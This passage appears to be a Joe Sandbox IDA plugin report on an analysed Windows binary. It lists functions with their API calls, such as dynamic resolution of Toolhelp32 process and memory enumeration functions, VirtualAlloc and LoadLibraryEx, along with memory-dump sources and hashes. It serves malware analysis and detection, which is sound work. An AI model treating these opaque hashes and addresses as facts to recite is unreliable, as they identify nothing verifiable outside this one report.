                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocString
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2525500382-0
                                                                                                                                                                      • Opcode ID: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
                                                                                                                                                                      • Instruction ID: 9fa4b86ff74e8e4b6ec2575c401267c9d00d9d6f1ea812d75dfeac7a7fe58871
                                                                                                                                                                      • Opcode Fuzzy Hash: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
                                                                                                                                                                      • Instruction Fuzzy Hash: 48B0127C248A0328FF3835620E0DB32008C0BD1287F8800D1DE28C80C0FF40C112D833
                                                                                                                                                                      Function 02C94BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 02C94C03
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FreeString
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3341692771-0
                                                                                                                                                                      • Opcode ID: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
                                                                                                                                                                      • Instruction ID: 79af4f4e1232c76488e7ce09e845708d66da25f451bb09ab10fbaea7cd4437df
                                                                                                                                                                      • Opcode Fuzzy Hash: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
                                                                                                                                                                      • Instruction Fuzzy Hash: ABA022BC000F038E8F2F332C000802A22333FE03823CEC0E800002A0088F3A8000FC30
                                                                                                                                                                      Function 02C915CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02C91A03,?,02C91FC1), ref: 02C915E2
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                      • Opcode ID: 5d89ce4d9c3e032f0911c0918031ef27fa8408b9cfb2e596885dac92f8ec1f27
                                                                                                                                                                      • Instruction ID: 16883101e026a629c354a3d889afedd114f01e6521b5eb4e6905e0bd5d22c094
                                                                                                                                                                      • Opcode Fuzzy Hash: 5d89ce4d9c3e032f0911c0918031ef27fa8408b9cfb2e596885dac92f8ec1f27
                                                                                                                                                                      • Instruction Fuzzy Hash: BCF0F9F0B513018FEF05DF79994A3057AD6E789394F148679D709DF398E7B194128B10
                                                                                                                                                                      Function 02C91682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02C91FC1), ref: 02C916A4
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                      • Opcode ID: 50fe57d729357b51fbef34bb47cbe12a5c8f7ea06d30dbb2366e8ce29629af2d
                                                                                                                                                                      • Instruction ID: 08429049e3e016a9370d4f76373f571df547f05d262c08f6616fb5415c635286
                                                                                                                                                                      • Opcode Fuzzy Hash: 50fe57d729357b51fbef34bb47cbe12a5c8f7ea06d30dbb2366e8ce29629af2d
                                                                                                                                                                      • Instruction Fuzzy Hash: F5F0B4F2F407966BD7519F5A9C85782BB94FB40714F05027AFA4C97349D7B0A8108FD4
                                                                                                                                                                      Function 02C916E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02C91FE4), ref: 02C91704
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                      • Opcode ID: 2151f62babe54b89ea49b617c7c02f28c268cfe9725ac5f5b87e0d2ce30b379c
                                                                                                                                                                      • Instruction ID: cd2f8072c4e12f52fb00b1eb8e91135779f47a477e7206d9108384f8cb6d227f
                                                                                                                                                                      • Opcode Fuzzy Hash: 2151f62babe54b89ea49b617c7c02f28c268cfe9725ac5f5b87e0d2ce30b379c
                                                                                                                                                                      • Instruction Fuzzy Hash: C9E0CD753003036FDF105B7E5D4A712BBDCEB45664F1C4476F649DB291D2E0E8108B60

                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                      Function 02CAA954 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02CAABDB,?,?,02CAAC6D,00000000,02CAAD49), ref: 02CAA968
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02CAA980
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02CAA992
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02CAA9A4
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02CAA9B6
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02CAA9C8
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02CAA9DA
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Process32First), ref: 02CAA9EC
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02CAA9FE
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02CAAA10
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02CAAA22
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02CAAA34
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02CAAA46
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Module32First), ref: 02CAAA58
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02CAAA6A
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02CAAA7C
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02CAAA8E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$HandleModule
                                                                                                                                                                      • String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
                                                                                                                                                                      • API String ID: 667068680-597814768
                                                                                                                                                                      • Opcode ID: 383b7ee03275c7b77e0ac2355374248c9bb7e60f9b829c92bfbfce5b74688d80
                                                                                                                                                                      • Instruction ID: 08bbd74c20f326715620d493a0a7f89ba793f8269700d6e864cc637e48e05fea
                                                                                                                                                                      • Opcode Fuzzy Hash: 383b7ee03275c7b77e0ac2355374248c9bb7e60f9b829c92bfbfce5b74688d80
                                                                                                                                                                      • Instruction Fuzzy Hash: 5331DAB0A81321EFEF41AFB5E8A9B2637FEEB05744B140A65A506CF244D7B49810DF91
                                                                                                                                                                      Function 02C958B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,02C96BC8,02C90000,02CBD790), ref: 02C958D1
                                                                                                                                                                      • GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02C958E8
                                                                                                                                                                      • lstrcpynA.KERNEL32(?,?,?), ref: 02C95918
                                                                                                                                                                      • lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02C96BC8,02C90000,02CBD790), ref: 02C9597C
                                                                                                                                                                      • lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02C96BC8,02C90000,02CBD790), ref: 02C959B2
                                                                                                                                                                      • FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02C96BC8,02C90000,02CBD790), ref: 02C959C5
                                                                                                                                                                      • FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02C96BC8,02C90000,02CBD790), ref: 02C959D7
                                                                                                                                                                      • lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02C96BC8,02C90000,02CBD790), ref: 02C959E3
                                                                                                                                                                      • lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02C96BC8,02C90000), ref: 02C95A17
                                                                                                                                                                      • lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02C96BC8), ref: 02C95A23
                                                                                                                                                                      • lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02C95A45
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
                                                                                                                                                                      • String ID: GetLongPathNameA$\$kernel32.dll
                                                                                                                                                                      • API String ID: 3245196872-1565342463
                                                                                                                                                                      • Opcode ID: 9c7fba58b8426ed722d51b556f454ec86496adb00952f524504a2f1b30d33e84
                                                                                                                                                                      • Instruction ID: 7b54370ca5e85d0e00879ca7d2b4a51282eb59e90cc54cccce235e26e30f82b1
                                                                                                                                                                      • Opcode Fuzzy Hash: 9c7fba58b8426ed722d51b556f454ec86496adb00952f524504a2f1b30d33e84
                                                                                                                                                                      • Instruction Fuzzy Hash: 5F415C71D40659AFDF11DBE8CC8CAEEB3ADAF48390F4845A5A148E7241D7709B44CF54
                                                                                                                                                                      Function 02C95B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02C95B94
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02C95BA1
                                                                                                                                                                      • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02C95BA7
                                                                                                                                                                      • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02C95BD2
                                                                                                                                                                      • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02C95C19
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02C95C29
                                                                                                                                                                      • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02C95C51
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02C95C61
                                                                                                                                                                      • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02C95C87
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02C95C97
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
                                                                                                                                                                      • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                                                                      • API String ID: 1599918012-2375825460
                                                                                                                                                                      • Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
                                                                                                                                                                      • Instruction ID: 8c3a7fb8db8169971b5d706cdf6f31234e21c89e7a11c71a3bdf41ce49b74474
                                                                                                                                                                      • Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
                                                                                                                                                                      • Instruction Fuzzy Hash: 2B3175B1E4061D7AEF26D6B8DC4EBDF77AD5B443C0F4441E19608E6181DAB49B44CF90
                                                                                                                                                                      Function 02C97F52 Relevance: 1.6, APIs: 1, Instructions: 50COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02C97F75
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DiskFreeSpace
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1705453755-0
                                                                                                                                                                      • Opcode ID: af95a7847bce4aac7ce6c5ec9bc2f4eb7d8060860abe66f176e19b8d00619888
                                                                                                                                                                      • Instruction ID: f128f65a5bf35c7f47b80beac9dbe1ff83adce42f763c03c3680d15807dd940a
                                                                                                                                                                      • Opcode Fuzzy Hash: af95a7847bce4aac7ce6c5ec9bc2f4eb7d8060860abe66f176e19b8d00619888
                                                                                                                                                                      • Instruction Fuzzy Hash: 5A11C0B5A00209AF9B04DF99C9819AFF7F9FFC8704B14C569A509EB254E6719A018B90
                                                                                                                                                                      Function 02C9A744 Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02C9A762
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InfoLocale
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2299586839-0
                                                                                                                                                                      • Opcode ID: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
                                                                                                                                                                      • Instruction ID: b330801bbe87218c2ade38434e7ac09dc1298ea4f20dff0ea01e2fdc7ff12f87
                                                                                                                                                                      • Opcode Fuzzy Hash: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
                                                                                                                                                                      • Instruction Fuzzy Hash: CAE0D83570021417DB25A5A85C899F6735D975C710F00417EFD09C7380EDB19E404EE4
                                                                                                                                                                      Function 02C9B70C Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetVersionExA.KERNEL32(?,02CBC106,00000000,02CBC11E), ref: 02C9B71A
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Version
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1889659487-0
                                                                                                                                                                      • Opcode ID: 92cc808da256188a32ea2ad2ff74320dd036fb6ace6610abb0edb9bd8b16d6c8
                                                                                                                                                                      • Instruction ID: 6c1044db5aeda140c81e8cd8189d4dd7ac09b4aa7457759ab70cf4f637cd6c40
                                                                                                                                                                      • Opcode Fuzzy Hash: 92cc808da256188a32ea2ad2ff74320dd036fb6ace6610abb0edb9bd8b16d6c8
                                                                                                                                                                      • Instruction Fuzzy Hash: D0F017B8904302EFC755DF28E544B5577E0FB88B04F054A28E49AD7784E7359914CF62
                                                                                                                                                                      Function 02C9A790 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02C9BDF2,00000000,02C9C00B,?,?,00000000,00000000), ref: 02C9A7A3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InfoLocale
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2299586839-0
                                                                                                                                                                      • Opcode ID: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
                                                                                                                                                                      • Instruction ID: 0f2bbec0aa081781ede6fc5119a138ff9179d4530e7de7a6c64643ac7d7f0f07
                                                                                                                                                                      • Opcode Fuzzy Hash: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
                                                                                                                                                                      • Instruction Fuzzy Hash: E7D05EB630E2602AA620915B2D89D7B5AFCCBC57A1F10403EF588C6240D2108D0596F1
                                                                                                                                                                      Function 02C9918C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LocalTime
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 481472006-0
                                                                                                                                                                      • Opcode ID: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
                                                                                                                                                                      • Instruction ID: ad4d5aaadeaf123b6524a7c318300e8f744aea4f03641a4a6801615f7083816e
                                                                                                                                                                      • Opcode Fuzzy Hash: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
                                                                                                                                                                      • Instruction Fuzzy Hash: CDA01120808C20028A803B280C0223A3088AA00A20FE80F80A8F8802E0EE2E0220A0E3
